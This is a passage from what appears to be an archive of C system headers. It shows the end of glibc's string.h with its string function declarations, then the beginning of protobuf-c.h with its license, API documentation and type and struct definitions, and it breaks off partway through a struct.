DEST. */ extern char *strncat (char *__restrict __dest, const char *__restrict __src, size_t __n) __THROW __nonnull ((1, 2)); /* Compare S1 and S2. */ extern int strcmp (const char *__s1, const char *__s2) __THROW __attribute_pure__ __nonnull ((1, 2)); /* Compare N characters of S1 and S2. */ extern int strncmp (const char *__s1, const char *__s2, size_t __n) __THROW __attribute_pure__ __nonnull ((1, 2)); /* Compare the collated forms of S1 and S2. */ extern int strcoll (const char *__s1, const char *__s2) __THROW __attribute_pure__ __nonnull ((1, 2)); /* Put a transformation of SRC into no more than N bytes of DEST. */ extern size_t strxfrm (char *__restrict __dest, const char *__restrict __src, size_t __n) __THROW __nonnull ((2)); #ifdef __USE_XOPEN2K8 /* POSIX.1-2008 extended locale interface (see locale.h). */ # include <bits/types/locale_t.h> /* Compare the collated forms of S1 and S2, using sorting rules from L. */ extern int strcoll_l (const char *__s1, const char *__s2, locale_t __l) __THROW __attribute_pure__ __nonnull ((1, 2, 3)); /* Put a transformation of SRC into no more than N bytes of DEST, using sorting rules from L. */ extern size_t strxfrm_l (char *__dest, const char *__src, size_t __n, locale_t __l) __THROW __nonnull ((2, 4)); #endif #if (defined __USE_XOPEN_EXTENDED || defined __USE_XOPEN2K8 \ || __GLIBC_USE (LIB_EXT2)) /* Duplicate S, returning an identical malloc'd string. */ extern char *strdup (const char *__s) __THROW __attribute_malloc__ __nonnull ((1)); #endif /* Return a malloc'd copy of at most N bytes of STRING. The resultant string is terminated even if no null terminator appears before STRING[N]. */ #if defined __USE_XOPEN2K8 || __GLIBC_USE (LIB_EXT2) extern char *strndup (const char *__string, size_t __n) __THROW __attribute_malloc__ __nonnull ((1)); #endif #if defined __USE_GNU && defined __GNUC__ /* Duplicate S, returning an identical alloca'd string. */ # define strdupa(s) \ (__extension__ \ ({ \ const char *__old = (s); \ size_t __len = strlen (__old) + 1; \ char *__new = (char *) __builtin_alloca (__len); \ (char *) memcpy (__new, __old, __len); \ })) /* Return an alloca'd copy of at most N bytes of string. */ # define strndupa(s, n) \ (__extension__ \ ({ \ const char *__old = (s); \ size_t __len = strnlen (__old, (n)); \ char *__new = (char *) __builtin_alloca (__len + 1); \ __new[__len] = '\0'; \ (char *) memcpy (__new, __old, __len); \ })) #endif /* Find the first occurrence of C in S. */ #ifdef __CORRECT_ISO_CPP_STRING_H_PROTO extern "C++" { extern char *strchr (char *__s, int __c) __THROW __asm ("strchr") __attribute_pure__ __nonnull ((1)); extern const char *strchr (const char *__s, int __c) __THROW __asm ("strchr") __attribute_pure__ __nonnull ((1)); # ifdef __OPTIMIZE__ __extern_always_inline char * strchr (char *__s, int __c) __THROW { return __builtin_strchr (__s, __c); } __extern_always_inline const char * strchr (const char *__s, int __c) __THROW { return __builtin_strchr (__s, __c); } # endif } #else extern char *strchr (const char *__s, int __c) __THROW __attribute_pure__ __nonnull ((1)); #endif /* Find the last occurrence of C in S. */ #ifdef __CORRECT_ISO_CPP_STRING_H_PROTO extern "C++" { extern char *strrchr (char *__s, int __c) __THROW __asm ("strrchr") __attribute_pure__ __nonnull ((1)); extern const char *strrchr (const char *__s, int __c) __THROW __asm ("strrchr") __attribute_pure__ __nonnull ((1)); # ifdef __OPTIMIZE__ __extern_always_inline char * strrchr (char *__s, int __c) __THROW { return __builtin_strrchr (__s, __c); } __extern_always_inline const char * strrchr (const char *__s, int __c) __THROW { return __builtin_strrchr (__s, __c); } # endif } #else extern char *strrchr (const char *__s, int __c) __THROW __attribute_pure__ __nonnull ((1)); #endif #ifdef __USE_GNU /* This function is similar to `strchr'. But it returns a pointer to the closing NUL byte in case C is not found in S. */ # ifdef __CORRECT_ISO_CPP_STRING_H_PROTO extern "C++" char *strchrnul (char *__s, int __c) __THROW __asm ("strchrnul") __attribute_pure__ __nonnull ((1)); extern "C++" const char *strchrnul (const char *__s, int __c) __THROW __asm ("strchrnul") __attribute_pure__ __nonnull ((1)); # else extern char *strchrnul (const char *__s, int __c) __THROW __attribute_pure__ __nonnull ((1)); # endif #endif /* Return the length of the initial segment of S which consists entirely of characters not in REJECT. */ extern size_t strcspn (const char *__s, const char *__reject) __THROW __attribute_pure__ __nonnull ((1, 2)); /* Return the length of the initial segment of S which consists entirely of characters in ACCEPT. */ extern size_t strspn (const char *__s, const char *__accept) __THROW __attribute_pure__ __nonnull ((1, 2)); /* Find the first occurrence in S of any character in ACCEPT. */ #ifdef __CORRECT_ISO_CPP_STRING_H_PROTO extern "C++" { extern char *strpbrk (char *__s, const char *__accept) __THROW __asm ("strpbrk") __attribute_pure__ __nonnull ((1, 2)); extern const char *strpbrk (const char *__s, const char *__accept) __THROW __asm ("strpbrk") __attribute_pure__ __nonnull ((1, 2)); # ifdef __OPTIMIZE__ __extern_always_inline char * strpbrk (char *__s, const char *__accept) __THROW { return __builtin_strpbrk (__s, __accept); } __extern_always_inline const char * strpbrk (const char *__s, const char *__accept) __THROW { return __builtin_strpbrk (__s, __accept); } # endif } #else extern char *strpbrk (const char *__s, const char *__accept) __THROW __attribute_pure__ __nonnull ((1, 2)); #endif /* Find the first occurrence of NEEDLE in HAYSTACK. */ #ifdef __CORRECT_ISO_CPP_STRING_H_PROTO extern "C++" { extern char *strstr (char *__haystack, const char *__needle) __THROW __asm ("strstr") __attribute_pure__ __nonnull ((1, 2)); extern const char *strstr (const char *__haystack, const char *__needle) __THROW __asm ("strstr") __attribute_pure__ __nonnull ((1, 2)); # ifdef __OPTIMIZE__ __extern_always_inline char * strstr (char *__haystack, const char *__needle) __THROW { return __builtin_strstr (__haystack, __needle); } __extern_always_inline const char * strstr (const char *__haystack, const char *__needle) __THROW { return __builtin_strstr (__haystack, __needle); } # endif } #else extern char *strstr (const char *__haystack, const char *__needle) __THROW __attribute_pure__ __nonnull ((1, 2)); #endif /* Divide S into tokens separated by characters in DELIM. */ extern char *strtok (char *__restrict __s, const char *__restrict __delim) __THROW __nonnull ((2)); /* Divide S into tokens separated by characters in DELIM. Information passed between calls are stored in SAVE_PTR. */ extern char *__strtok_r (char *__restrict __s, const char *__restrict __delim, char **__restrict __save_ptr) __THROW __nonnull ((2, 3)); #ifdef __USE_POSIX extern char *strtok_r (char *__restrict __s, const char *__restrict __delim, char **__restrict __save_ptr) __THROW __nonnull ((2, 3)); #endif #ifdef __USE_GNU /* Similar to `strstr' but this function ignores the case of both strings. */ # ifdef __CORRECT_ISO_CPP_STRING_H_PROTO extern "C++" char *strcasestr (char *__haystack, const char *__needle) __THROW __asm ("strcasestr") __attribute_pure__ __nonnull ((1, 2)); extern "C++" const char *strcasestr (const char *__haystack, const char *__needle) __THROW __asm ("strcasestr") __attribute_pure__ __nonnull ((1, 2)); # else extern char *strcasestr (const char *__haystack, const char *__needle) __THROW __attribute_pure__ __nonnull ((1, 2)); # endif #endif #ifdef __USE_GNU /* Find the first occurrence of NEEDLE in HAYSTACK. NEEDLE is NEEDLELEN bytes long; HAYSTACK is HAYSTACKLEN bytes long. */ extern void *memmem (const void *__haystack, size_t __haystacklen, const void *__needle, size_t __needlelen) __THROW __attribute_pure__ __nonnull ((1, 3)); /* Copy N bytes of SRC to DEST, return pointer to bytes after the last written byte. */ extern void *__mempcpy (void *__restrict __dest, const void *__restrict __src, size_t __n) __THROW __nonnull ((1, 2)); extern void *mempcpy (void *__restrict __dest, const void *__restrict __src, size_t __n) __THROW __nonnull ((1, 2)); #endif /* Return the length of S. */ extern size_t strlen (const char *__s) __THROW __attribute_pure__ __nonnull ((1)); #ifdef __USE_XOPEN2K8 /* Find the length of STRING, but scan at most MAXLEN characters. If no '\0' terminator is found in that many characters, return MAXLEN. */ extern size_t strnlen (const char *__string, size_t __maxlen) __THROW __attribute_pure__ __nonnull ((1)); #endif /* Return a string describing the meaning of the `errno' code in ERRNUM. */ extern char *strerror (int __errnum) __THROW; #ifdef __USE_XOPEN2K /* Reentrant version of `strerror'. There are 2 flavors of `strerror_r', GNU which returns the string and may or may not use the supplied temporary buffer and POSIX one which fills the string into the buffer. To use the POSIX version, -D_XOPEN_SOURCE=600 or -D_POSIX_C_SOURCE=200112L without -D_GNU_SOURCE is needed, otherwise the GNU version is preferred. */ # if defined __USE_XOPEN2K && !defined __USE_GNU /* Fill BUF with a string describing the meaning of the `errno' code in ERRNUM. */ # ifdef __REDIRECT_NTH extern int __REDIRECT_NTH (strerror_r, (int __errnum, char *__buf, size_t __buflen), __xpg_strerror_r) __nonnull ((2)); # else extern int __xpg_strerror_r (int __errnum, char *__buf, size_t __buflen) __THROW __nonnull ((2)); # define strerror_r __xpg_strerror_r # endif # else /* If a temporary buffer is required, at most BUFLEN bytes of BUF will be used. */ extern char *strerror_r (int __errnum, char *__buf, size_t __buflen) __THROW __nonnull ((2)) __wur; # endif #endif #ifdef __USE_XOPEN2K8 /* Translate error number to string according to the locale L. */ extern char *strerror_l (int __errnum, locale_t __l) __THROW; #endif #ifdef __USE_MISC # include <strings.h> /* Set N bytes of S to 0. The compiler will not delete a call to this function, even if S is dead after the call. */ extern void explicit_bzero (void *__s, size_t __n) __THROW __nonnull ((1)); /* Return the next DELIM-delimited token from *STRINGP, terminating it with a '\0', and update *STRINGP to point past it. */ extern char *strsep (char **__restrict __stringp, const char *__restrict __delim) __THROW __nonnull ((1, 2)); #endif #ifdef __USE_XOPEN2K8 /* Return a string describing the meaning of the signal number in SIG. */ extern char *strsignal (int __sig) __THROW; /* Copy SRC to DEST, returning the address of the terminating '\0' in DEST. */ extern char *__stpcpy (char *__restrict __dest, const char *__restrict __src) __THROW __nonnull ((1, 2)); extern char *stpcpy (char *__restrict __dest, const char *__restrict __src) __THROW __nonnull ((1, 2)); /* Copy no more than N characters of SRC to DEST, returning the address of the last character written into DEST. */ extern char *__stpncpy (char *__restrict __dest, const char *__restrict __src, size_t __n) __THROW __nonnull ((1, 2)); extern char *stpncpy (char *__restrict __dest, const char *__restrict __src, size_t __n) __THROW __nonnull ((1, 2)); #endif #ifdef __USE_GNU /* Compare S1 and S2 as strings holding name & indices/version numbers. */ extern int strverscmp (const char *__s1, const char *__s2) __THROW __attribute_pure__ __nonnull ((1, 2)); /* Sautee STRING briskly. */ extern char *strfry (char *__string) __THROW __nonnull ((1)); /* Frobnicate N bytes of S. */ extern void *memfrob (void *__s, size_t __n) __THROW __nonnull ((1)); # ifndef basename /* Return the file name within directory of FILENAME. We don't declare the function if the `basename' macro is available (defined in <libgen.h>) which makes the XPG version of this function available. */ # ifdef __CORRECT_ISO_CPP_STRING_H_PROTO extern "C++" char *basename (char *__filename) __THROW __asm ("basename") __nonnull ((1)); extern "C++" const char *basename (const char *__filename) __THROW __asm ("basename") __nonnull ((1)); # else extern char *basename (const char *__filename) __THROW __nonnull ((1)); # endif # endif #endif #if __GNUC_PREREQ (3,4) # if __USE_FORTIFY_LEVEL > 0 && defined __fortify_function /* Functions with security checks. */ # include <bits/string_fortified.h> # endif #endif __END_DECLS #endif /* string.h */ protobuf-c/protobuf-c.h 0000644 00000101422 15246445047 0011070 0 ustar 00 /* * Copyright (c) 2008-2017, Dave Benson and the protobuf-c authors. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following disclaimer * in the documentation and/or other materials provided with the * distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /*! \file * \mainpage Introduction * * This is [protobuf-c], a C implementation of [Protocol Buffers]. * * This file defines the public API for the `libprotobuf-c` support library. * This API includes interfaces that can be used directly by client code as well * as the interfaces used by the code generated by the `protoc-c` compiler. * * The `libprotobuf-c` support library performs the actual serialization and * deserialization of Protocol Buffers messages. It interacts with structures, * definitions, and metadata generated by the `protoc-c` compiler from .proto * files. * * \authors Dave Benson and the `protobuf-c` authors. * * \copyright 2008-2014. Licensed under the terms of the [BSD-2-Clause] license. * * [protobuf-c]: https://github.com/protobuf-c/protobuf-c * [Protocol Buffers]: https://developers.google.com/protocol-buffers/ * [BSD-2-Clause]: http://opensource.org/licenses/BSD-2-Clause * * \page gencode Generated Code * * For each enum, we generate a C enum. For each message, we generate a C * structure which can be cast to a `ProtobufCMessage`. * * For each enum and message, we generate a descriptor object that allows us to * implement a kind of reflection on the structures. * * First, some naming conventions: * * - The name of the type for enums and messages and services is camel case * (meaning WordsAreCrammedTogether) except that double underscores are used * to delimit scopes. For example, the following `.proto` file: * ~~~{.proto} package foo.bar; message BazBah { optional int32 val = 1; } ~~~ * * would generate a C type `Foo__Bar__BazBah`. * * - Identifiers for functions and globals are all lowercase, with camel case * words separated by single underscores. For example, one of the function * prototypes generated by `protoc-c` for the above example: * ~~~{.c} Foo__Bar__BazBah * foo__bar__baz_bah__unpack (ProtobufCAllocator *allocator, size_t len, const uint8_t *data); ~~~ * * - Identifiers for enum values contain an uppercase prefix which embeds the * package name and the enum type name. * * - A double underscore is used to separate further components of identifier * names. * * For example, in the name of the unpack function above, the package name * `foo.bar` has become `foo__bar`, the message name BazBah has become * `baz_bah`, and the method name is `unpack`. These are all joined with double * underscores to form the C identifier `foo__bar__baz_bah__unpack`. * * We also generate descriptor objects for messages and enums. These are * declared in the `.pb-c.h` files: * ~~~{.c} extern const ProtobufCMessageDescriptor foo__bar__baz_bah__descriptor; ~~~ * * The message structures all begin with `ProtobufCMessageDescriptor *` which is * sufficient to allow them to be cast to `ProtobufCMessage`. * * For each message defined in a `.proto` file, we generate a number of * functions and macros. Each function name contains a prefix based on the * package name and message name in order to make it a unique C identifier. * * - `INIT`. Statically initializes a message object, initializing its * descriptor and setting its fields to default values. Uninitialized * messages cannot be processed by the protobuf-c library. * ~~~{.c} #define FOO__BAR__BAZ_BAH__INIT \ { PROTOBUF_C_MESSAGE_INIT (&foo__bar__baz_bah__descriptor), 0 } ~~~ * - `init()`. Initializes a message object, initializing its descriptor and * setting its fields to default values. Uninitialized messages cannot be * processed by the protobuf-c library. * ~~~{.c} void foo__bar__baz_bah__init (Foo__Bar__BazBah *message); ~~~ * - `unpack()`. Unpacks data for a particular message format. Note that the * `allocator` parameter is usually `NULL` to indicate that the system's * `malloc()` and `free()` functions should be used for dynamically allocating * memory. * ~~~{.c} Foo__Bar__BazBah * foo__bar__baz_bah__unpack (ProtobufCAllocator *allocator, size_t len, const uint8_t *data); ~~~ * * - `free_unpacked()`. Frees a message object obtained with the `unpack()` * method. Freeing `NULL` is allowed (the same as with `free()`). * ~~~{.c} void foo__bar__baz_bah__free_unpacked (Foo__Bar__BazBah *message, ProtobufCAllocator *allocator); ~~~ * * - `get_packed_size()`. Calculates the length in bytes of the serialized * representation of the message object. * ~~~{.c} size_t foo__bar__baz_bah__get_packed_size (const Foo__Bar__BazBah *message); ~~~ * * - `pack()`. Pack a message object into a preallocated buffer. Assumes that * the buffer is large enough. (Use `get_packed_size()` first.) * ~~~{.c} size_t foo__bar__baz_bah__pack (const Foo__Bar__BazBah *message, uint8_t *out); ~~~ * * - `pack_to_buffer()`. Packs a message into a "virtual buffer". This is an * object which defines an "append bytes" callback to consume data as it is * serialized. * ~~~{.c} size_t foo__bar__baz_bah__pack_to_buffer (const Foo__Bar__BazBah *message, ProtobufCBuffer *buffer); ~~~ * * \page pack Packing and unpacking messages * * To pack a message, first compute the packed size of the message with * protobuf_c_message_get_packed_size(), then allocate a buffer of at least * that size, then call protobuf_c_message_pack(). * * Alternatively, a message can be serialized without calculating the final size * first. Use the protobuf_c_message_pack_to_buffer() function and provide a * ProtobufCBuffer object which implements an "append" method that consumes * data. * * To unpack a message, call the protobuf_c_message_unpack() function. The * result can be cast to an object of the type that matches the descriptor for * the message. * * The result of unpacking a message should be freed with * protobuf_c_message_free_unpacked(). */ #ifndef PROTOBUF_C_H #define PROTOBUF_C_H #include <assert.h> #include <limits.h> #include <stddef.h> #include <stdint.h> #ifdef __cplusplus # define PROTOBUF_C__BEGIN_DECLS extern "C" { # define PROTOBUF_C__END_DECLS } #else # define PROTOBUF_C__BEGIN_DECLS # define PROTOBUF_C__END_DECLS #endif PROTOBUF_C__BEGIN_DECLS #if defined(_WIN32) && defined(PROTOBUF_C_USE_SHARED_LIB) # ifdef PROTOBUF_C_EXPORT # define PROTOBUF_C__API __declspec(dllexport) # else # define PROTOBUF_C__API __declspec(dllimport) # endif #else # define PROTOBUF_C__API #endif #if !defined(PROTOBUF_C__NO_DEPRECATED) && \ ((__GNUC__ > 3) || (__GNUC__ == 3 && __GNUC_MINOR__ >= 1)) # define PROTOBUF_C__DEPRECATED __attribute__((__deprecated__)) #else # define PROTOBUF_C__DEPRECATED #endif #ifndef PROTOBUF_C__FORCE_ENUM_TO_BE_INT_SIZE #define PROTOBUF_C__FORCE_ENUM_TO_BE_INT_SIZE(enum_name) \ , _##enum_name##_IS_INT_SIZE = INT_MAX #endif #define PROTOBUF_C__SERVICE_DESCRIPTOR_MAGIC 0x14159bc3 #define PROTOBUF_C__MESSAGE_DESCRIPTOR_MAGIC 0x28aaeef9 #define PROTOBUF_C__ENUM_DESCRIPTOR_MAGIC 0x114315af /* Empty string used for initializers */ extern const char protobuf_c_empty_string[]; /** * \defgroup api Public API * * This is the public API for `libprotobuf-c`. These interfaces are stable and * subject to Semantic Versioning guarantees. * * @{ */ /** * Values for the `flags` word in `ProtobufCFieldDescriptor`. */ typedef enum { /** Set if the field is repeated and marked with the `packed` option. */ PROTOBUF_C_FIELD_FLAG_PACKED = (1 << 0), /** Set if the field is marked with the `deprecated` option. */ PROTOBUF_C_FIELD_FLAG_DEPRECATED = (1 << 1), /** Set if the field is a member of a oneof (union). */ PROTOBUF_C_FIELD_FLAG_ONEOF = (1 << 2), } ProtobufCFieldFlag; /** * Message field rules. * * \see [Defining A Message Type] in the Protocol Buffers documentation. * * [Defining A Message Type]: * https://developers.google.com/protocol-buffers/docs/proto#simple */ typedef enum { /** A well-formed message must have exactly one of this field. */ PROTOBUF_C_LABEL_REQUIRED, /** * A well-formed message can have zero or one of this field (but not * more than one). */ PROTOBUF_C_LABEL_OPTIONAL, /** * This field can be repeated any number of times (including zero) in a * well-formed message. The order of the repeated values will be * preserved. */ PROTOBUF_C_LABEL_REPEATED, /** * This field has no label. This is valid only in proto3 and is * equivalent to OPTIONAL but no "has" quantifier will be consulted. */ PROTOBUF_C_LABEL_NONE, } ProtobufCLabel; /** * Field value types. * * \see [Scalar Value Types] in the Protocol Buffers documentation. * * [Scalar Value Types]: * https://developers.google.com/protocol-buffers/docs/proto#scalar */ typedef enum { PROTOBUF_C_TYPE_INT32, /**< int32 */ PROTOBUF_C_TYPE_SINT32, /**< signed int32 */ PROTOBUF_C_TYPE_SFIXED32, /**< signed int32 (4 bytes) */ PROTOBUF_C_TYPE_INT64, /**< int64 */ PROTOBUF_C_TYPE_SINT64, /**< signed int64 */ PROTOBUF_C_TYPE_SFIXED64, /**< signed int64 (8 bytes) */ PROTOBUF_C_TYPE_UINT32, /**< unsigned int32 */ PROTOBUF_C_TYPE_FIXED32, /**< unsigned int32 (4 bytes) */ PROTOBUF_C_TYPE_UINT64, /**< unsigned int64 */ PROTOBUF_C_TYPE_FIXED64, /**< unsigned int64 (8 bytes) */ PROTOBUF_C_TYPE_FLOAT, /**< float */ PROTOBUF_C_TYPE_DOUBLE, /**< double */ PROTOBUF_C_TYPE_BOOL, /**< boolean */ PROTOBUF_C_TYPE_ENUM, /**< enumerated type */ PROTOBUF_C_TYPE_STRING, /**< UTF-8 or ASCII string */ PROTOBUF_C_TYPE_BYTES, /**< arbitrary byte sequence */ PROTOBUF_C_TYPE_MESSAGE, /**< nested message */ } ProtobufCType; /** * Field wire types. * * \see [Message Structure] in the Protocol Buffers documentation. * * [Message Structure]: * https://developers.google.com/protocol-buffers/docs/encoding#structure */ typedef enum { PROTOBUF_C_WIRE_TYPE_VARINT = 0, PROTOBUF_C_WIRE_TYPE_64BIT = 1, PROTOBUF_C_WIRE_TYPE_LENGTH_PREFIXED = 2, /* "Start group" and "end group" wire types are unsupported. */ PROTOBUF_C_WIRE_TYPE_32BIT = 5, } ProtobufCWireType; struct ProtobufCAllocator; struct ProtobufCBinaryData; struct ProtobufCBuffer; struct ProtobufCBufferSimple; struct ProtobufCEnumDescriptor; struct ProtobufCEnumValue; struct ProtobufCEnumValueIndex; struct ProtobufCFieldDescriptor; struct ProtobufCIntRange; struct ProtobufCMessage; struct ProtobufCMessageDescriptor; struct ProtobufCMessageUnknownField; struct ProtobufCMethodDescriptor; struct ProtobufCService; struct ProtobufCServiceDescriptor; typedef struct ProtobufCAllocator ProtobufCAllocator; typedef struct ProtobufCBinaryData ProtobufCBinaryData; typedef struct ProtobufCBuffer ProtobufCBuffer; typedef struct ProtobufCBufferSimple ProtobufCBufferSimple; typedef struct ProtobufCEnumDescriptor ProtobufCEnumDescriptor; typedef struct ProtobufCEnumValue ProtobufCEnumValue; typedef struct ProtobufCEnumValueIndex ProtobufCEnumValueIndex; typedef struct ProtobufCFieldDescriptor ProtobufCFieldDescriptor; typedef struct ProtobufCIntRange ProtobufCIntRange; typedef struct ProtobufCMessage ProtobufCMessage; typedef struct ProtobufCMessageDescriptor ProtobufCMessageDescriptor; typedef struct ProtobufCMessageUnknownField ProtobufCMessageUnknownField; typedef struct ProtobufCMethodDescriptor ProtobufCMethodDescriptor; typedef struct ProtobufCService ProtobufCService; typedef struct ProtobufCServiceDescriptor ProtobufCServiceDescriptor; /** Boolean type. */ typedef int protobuf_c_boolean; typedef void (*ProtobufCClosure)(const ProtobufCMessage *, void *closure_data); typedef void (*ProtobufCMessageInit)(ProtobufCMessage *); typedef void (*ProtobufCServiceDestroy)(ProtobufCService *); /** * Structure for defining a custom memory allocator. */ struct ProtobufCAllocator { /** Function to allocate memory. */ void *(*alloc)(void *allocator_data, size_t size); /** Function to free memory. */ void (*free)(void *allocator_data, void *pointer); /** Opaque pointer passed to `alloc` and `free` functions. */ void *allocator_data; }; /** * Structure for the protobuf `bytes` scalar type. * * The data contained in a `ProtobufCBinaryData` is an arbitrary sequence of * bytes. It may contain embedded `NUL` characters and is not required to be * `NUL`-terminated. */ struct ProtobufCBinaryData { size_t len; /**< Number of bytes in the `data` field. */ uint8_t *data; /**< Data bytes. */ }; /** * Structure for defining a virtual append-only buffer. Used by * protobuf_c_message_pack_to_buffer() to abstract the consumption of serialized * bytes. * * `ProtobufCBuffer` "subclasses" may be defined on the stack. For example, to * write to a `FILE` object: * ~~~{.c} typedef struct { ProtobufCBuffer base; FILE *fp; } BufferAppendToFile; static void my_buffer_file_append(ProtobufCBuffer *buffer, size_t len, const uint8_t *data) { BufferAppendToFile *file_buf = (BufferAppendToFile *) buffer; fwrite(data, len, 1, file_buf->fp); // XXX: No error handling! } ~~~ * * To use this new type of ProtobufCBuffer, it could be called as follows: * ~~~{.c} ... BufferAppendToFile tmp = {0}; tmp.base.append = my_buffer_file_append; tmp.fp = fp; protobuf_c_message_pack_to_buffer(&message, &tmp); ... ~~~ */ struct ProtobufCBuffer { /** Append function. Consumes the `len` bytes stored at `data`. */ void (*append)(ProtobufCBuffer *buffer, size_t len, const uint8_t *data); }; /** * Simple buffer "subclass" of `ProtobufCBuffer`. * * A `ProtobufCBufferSimple` object is declared on the stack and uses a * scratch buffer provided by the user for the initial allocation. It performs * exponential resizing, using dynamically allocated memory. A * `ProtobufCBufferSimple` object can be created and used as follows: * ~~~{.c} uint8_t pad[128]; ProtobufCBufferSimple simple = PROTOBUF_C_BUFFER_SIMPLE_INIT(pad); ProtobufCBuffer *buffer = (ProtobufCBuffer *) &simple; ~~~ * * `buffer` can now be used with `protobuf_c_message_pack_to_buffer()`. Once a * message has been serialized to a `ProtobufCBufferSimple` object, the * serialized data bytes can be accessed from the `.data` field. * * To free the memory allocated by a `ProtobufCBufferSimple` object, if any, * call PROTOBUF_C_BUFFER_SIMPLE_CLEAR() on the object, for example: * ~~~{.c} PROTOBUF_C_BUFFER_SIMPLE_CLEAR(&simple); ~~~ * * \see PROTOBUF_C_BUFFER_SIMPLE_INIT * \see PROTOBUF_C_BUFFER_SIMPLE_CLEAR */ struct ProtobufCBufferSimple { /** "Base class". */ ProtobufCBuffer base; /** Number of bytes allocated in `data`. */ size_t alloced; /** Number of bytes currently stored in `data`. */ size_t len; /** Data bytes. */ uint8_t *data; /** Whether `data` must be freed. */ protobuf_c_boolean must_free_data; /** Allocator to use. May be NULL to indicate the system allocator. */ ProtobufCAllocator *allocator; }; /** * Describes an enumeration as a whole, with all of its values. */ struct ProtobufCEnumDescriptor { /** Magic value checked to ensure that the API is used correctly. */ uint32_t magic; /** The qualified name (e.g., "namespace.Type"). */ const char *name; /** The unqualified name as given in the .proto file (e.g., "Type"). */ const char *short_name; /** Identifier used in generated C code. */ const char *c_name; /** The dot-separated namespace. */ const char *package_name; /** Number elements in `values`. */ unsigned n_values; /** Array of distinct values, sorted by numeric value. */ const ProtobufCEnumValue *values; /** Number of elements in `values_by_name`. */ unsigned n_value_names; /** Array of named values, including aliases, sorted by name. */ const ProtobufCEnumValueIndex *values_by_name; /** Number of elements in `value_ranges`. */ unsigned n_value_ranges; /** Value ranges, for faster lookups by numeric value. */ const ProtobufCIntRange *value_ranges; /** Reserved for future use. */ void *reserved1; /** Reserved for future use. */ void *reserved2; /** Reserved for future use. */ void *reserved3; /** Reserved for future use. */ void *reserved4; }; /** * Represents a single value of an enumeration. */ struct ProtobufCEnumValue { /** The string identifying this value in the .proto file. */ const char *name; /** The string identifying this value in generated C code. */ const char *c_name; /** The numeric value assigned in the .proto file. */ int value; }; /** * Used by `ProtobufCEnumDescriptor` to look up enum values. */ struct ProtobufCEnumValueIndex { /** Name of the enum value. */ const char *name; /** Index into values[] array. */ unsigned index; }; /** * Describes a single field in a message. */ struct ProtobufCFieldDescriptor { /** Name of the field as given in the .proto file. */ const char *name; /** Tag value of the field as given in the .proto file. */ uint32_t id; /** Whether the field is `REQUIRED`, `OPTIONAL`, or `REPEATED`. */ ProtobufCLabel label; /** The type of the field. */ ProtobufCType type; /** * The offset in bytes of the message's C structure's quantifier field * (the `has_MEMBER` field for optional members or the `n_MEMBER` field * for repeated members or the case enum for oneofs). */ unsigned quantifier_offset; /** * The offset in bytes into the message's C structure for the member * itself. */ unsigned offset; /** * A type-specific descriptor. * * If `type` is `PROTOBUF_C_TYPE_ENUM`, then `descriptor` points to the * corresponding `ProtobufCEnumDescriptor`. * * If `type` is `PROTOBUF_C_TYPE_MESSAGE`, then `descriptor` points to * the corresponding `ProtobufCMessageDescriptor`. * * Otherwise this field is NULL. */ const void *descriptor; /* for MESSAGE and ENUM types */ /** The default value for this field, if defined. May be NULL. */ const void *default_value; /** * A flag word. Zero or more of the bits defined in the * `ProtobufCFieldFlag` enum may be set. */ uint32_t flags; /** Reserved for future use. */ unsigned reserved_flags; /** Reserved for future use. */ void *reserved2; /** Reserved for future use. */ void *reserved3; }; /** * Helper structure for optimizing int => index lookups in the case * where the keys are mostly consecutive values, as they presumably are for * enums and fields. * * The data structures requires that the values in the original array are * sorted. */ struct ProtobufCIntRange { int start_value; unsigned orig_index; /* * NOTE: the number of values in the range can be inferred by looking * at the next element's orig_index. A dummy element is added to make * this simple. */ }; /** * An instance of a message. * * `ProtobufCMessage` is a light-weight "base class" for all messages. * * In particular, `ProtobufCMessage` doesn't have any allocation policy * associated with it. That's because it's common to create `ProtobufCMessage` * objects on the stack. In fact, that's what we recommend for sending messages. * If the object is allocated from the stack, you can't really have a memory * leak. * * This means that calls to functions like protobuf_c_message_unpack() which * return a `ProtobufCMessage` must be paired with a call to a free function, * like protobuf_c_message_free_unpacked(). */ struct ProtobufCMessage { /** The descriptor for this message type. */ const ProtobufCMessageDescriptor *descriptor; /** The number of elements in `unknown_fields`. */ unsigned n_unknown_fields; /** The fields that weren't recognized by the parser. */ ProtobufCMessageUnknownField *unknown_fields; }; /** * Describes a message. */ struct ProtobufCMessageDescriptor { /** Magic value checked to ensure that the API is used correctly. */ uint32_t magic; /** The qualified name (e.g., "namespace.Type"). */ const char *name; /** The unqualified name as given in the .proto file (e.g., "Type"). */ const char *short_name; /** Identifier used in generated C code. */ const char *c_name; /** The dot-separated namespace. */ const char *package_name; /** * Size in bytes of the C structure representing an instance of this * type of message. */ size_t sizeof_message; /** Number of elements in `fields`. */ unsigned n_fields; /** Field descriptors, sorted by tag number. */ const ProtobufCFieldDescriptor *fields; /** Used for looking up fields by name. */ const unsigned *fields_sorted_by_name; /** Number of elements in `field_ranges`. */ unsigned n_field_ranges; /** Used for looking up fields by id. */ const ProtobufCIntRange *field_ranges; /** Message initialisation function. */ ProtobufCMessageInit message_init; /** Reserved for future use. */ void *reserved1; /** Reserved for future use. */ void *reserved2; /** Reserved for future use. */ void *reserved3; }; /** * An unknown message field. */ struct ProtobufCMessageUnknownField { /** The tag number. */ 